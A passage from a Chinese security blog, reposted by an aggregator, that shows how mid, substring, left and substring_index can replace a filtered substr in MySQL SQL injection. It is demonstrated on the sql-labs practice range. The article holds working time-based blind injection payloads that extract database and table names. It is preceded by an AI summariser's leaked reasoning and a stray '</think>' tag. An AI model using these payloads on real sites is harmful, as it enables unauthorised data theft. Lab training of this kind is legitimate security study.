想到哪写到哪(二):SQL注入截图函数绕过
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内。用户的要求很明确,不需要以“文章内容总结”或“这篇文章”这样的开头,直接写描述即可。 首先,我仔细阅读了用户提供的文章。文章主要讨论在MySQL数据库中,当substr函数被过滤后,还有哪些函数可以用来进行SQL注入。提到的替代函数包括substr、mid、substring、left和substring_index,并详细介绍了这些函数的使用方法及其在SQL注入中的应用。 接下来,我需要提炼出文章的核心内容。关键点在于替代函数及其在SQL注入中的具体应用,尤其是通过时间注入的方法来验证字符的ASCII码。此外,还提到了每个函数的特点和适用场景,比如left函数只能从左边取字符,而substring_index则依赖分隔符。 然后,我要将这些信息浓缩到100字以内。确保涵盖主要替代函数、它们的使用方式以及在SQL注入中的实际应用案例。同时,避免使用过于专业的术语,使总结更易理解。 最后,检查字数是否符合要求,并确保内容准确无误地反映了原文的核心内容。 </think> 文章介绍了在MySQL数据库中进行SQL注入时可使用的替代函数(如substr、mid、substring、left、substring_index),并详细讲解了这些函数的使用方法及其在SQL注入中的实际应用案例。 2025-12-23 09:10:4 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

序言

本章节主要介绍substr函数被过滤后,还有哪些函数可以替代这个函数,在MYSQL数据库中进行SQL注入。要介绍的函数有:substr、mid、substring、left、substring_index

环境

1.小皮面板

2.php5.5.9nts

3.mysql5.7.26

4.sql-labs靶场

目录

1.substr

2.mid

3.substring

4.left

5.substring_index

函数的使用

一、substr函数、mid函数、substring函数

作用很简单,就是用于截取函数:

substr("abc",从第几个字符开始,截取多少个字符)

从第一个字符开始截取第一个字符

1766473653_694a3fb59e7cba6eab03a.png!small?1766473653067

从第一个字符开始,截取两个字符

1766473738_694a400a4ee69e86ff0fd.png!small?1766473738151

从第二个字符开始,截取一个字符

1766473770_694a402ae16b2a5d2d2f0.png!small?1766473770293

其他两个函数呢?

substr函数、mid函数、substring函数三者的作用一模一样,无需另外记录

二、left函数

left函数和上面的函数不同。不同之处有两点,只有一个参数、只能从左边开始取。

所以简单来说没有上面三个函数的方便、好用。

格式:

letf(字符串, 从左边第一个开始取几个字符)

从左边开始,取一个字符

1766474112_694a41805904277460116.png!small?1766474111714

取两个字符

1766474122_694a418a4b8af39004e74.png!small?1766474122875


这个函数有一个反义词,right(),这个是从右开始取。这里就不细说了~

三、substring_index函数

这个函数和其他函数的主要区别,就是使用的是分隔符号进行分隔。如果没有分隔符号呢?那么他就会选择返回全部。

格式:

SUBSTRING_INDEX('www.abc.com', '选择分隔的符号', 第几个点之前的所有内容)

注意格式里前两个字符都需要引号,最后一个是数值

选择分隔符号 . 返回第一个 . 前的所有内容

1766474425_694a42b9965ae1c361cf5.png!small?1766474425282

选择分隔符号 . 返回第二个 . 前的所有内容

1766474447_694a42cf21882ff6f2174.png!small?1766474446852

选择分隔符号 . 返回倒数第二个 . 前的所有内容

1766474629_694a43852a94d034ca8f0.png!small?1766474629054

选择分隔符号 . 返回倒数第一个 . 前的所有内容

1766474652_694a439ce8957575cbc09.png!small?1766474652292

选择字符中没有的分隔符号,则返回全部内容

1766474763_694a440b45182ab8650ac.png!small?1766474763260

不选择分隔符号,则返回全部内容

1766474810_694a443a67aa8cc6a3222.png!small?1766474809808

当然也可以用字母作为分割符号

1766476560_694a4b1079cd79f9f9ce6.png!small?1766476559869

函数如何用于SQL注入

我们在sql靶场的第一关:

使用两个比较经典的时间注入Payload:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(10),1)--+

?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)--+

简单介绍一下:

ascii() 就是将字符转换成ascii码方便我们对字符进行爆破

sleep() 就是响应时间延长10秒

那么这两个payload的意思就很简单了,第一句:将数据库名称的第一个字符转换成ascii码进行对比,如果等于115则响应延长10秒,否则正常响应。第二句:选中information_schema.tables数据表的第一行第一列的字符中的第一个转换成ascii码进行对比,如果等于101则响应延长5秒,否则正常响应。

?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=100,sleep(5),1)--+

1766476094_694a493e110c2e3f05447.png!small?1766476093497

?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101,sleep(5),1)--+

1766476190_694a499ebfafc5d6de336.png!small?1766476190253

通过响应可以看出来101就是对应的字符ascii码。

也可以通过BP抓包中的响应时间中看出来,明显的101的响应时间比另一个响应时间要长。

1766476071_694a4927f1d4e6725b548.png!small?1766476071463


那么接下来就是一个个替换成我们刚刚学习的函数,mid和substring,就不必多说,直接替换即可

1766476324_694a4a244a1c751644d87.png!small?1766476323739

1766476366_694a4a4e01f4d8b5bf3cd.png!small?1766476365707


letf函数,因为是从左取,且只有一个参数所以要进行更改

?id=1' and if((select ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)))=101,sleep(5),1)--+

1766476424_694a4a88a49831e59a3fa.png!small?1766476424347

substring_index函数就比较鸡肋了,因为一般情况下你只能使用无分割符号的情况,那么你就要首先获取他的字符长度,然后去爆破它完整的字符串,但大多数时候是不现实的。

先用payload:?id=1' and if(length(database())=8,sleep(10),1)--+得到数据库名的长度

1766480147_694a59138b606eb805d18.png!small?1766480148017


再用payload去爆破出8位字符

1766480265_694a59898a24cad37b740.png!small?1766480265274

从这里就可以看出这其实是比较鸡肋的~如果数据库名包含字母,那么爆破的时间将大大增加。不过如果性能好,且网站防御措施不到位,确实可以试试~

免责声明

  • 本文所包含的内容仅用于教育和研究目的,旨在提高信息安全意识,帮助用户了解网络安全防护的重要性。

  • 文章中提及的任何渗透测试技巧、工具或方法,仅供合法授权的安全研究和测试使用。在进行任何渗透测试或安全测试之前,请确保您已获得相关系统或网络所有者的明确授权。

  • 本文作者不对任何因使用文章内容而导致的非法活动、损害或其他不良后果承担任何责任。读者在实施任何技术之前应确保遵守所有适用的法律法规。

  • 本文内容不支持或鼓励任何形式的恶意攻击、未授权的入侵或网络犯罪。

  • 本文内容仅限于教育用途,不得以任何方式用于未经授权的网络安全攻击或破坏行为。


文章来源: https://www.freebuf.com/articles/web/463412.html
如有侵权请联系:admin#unsafe.sh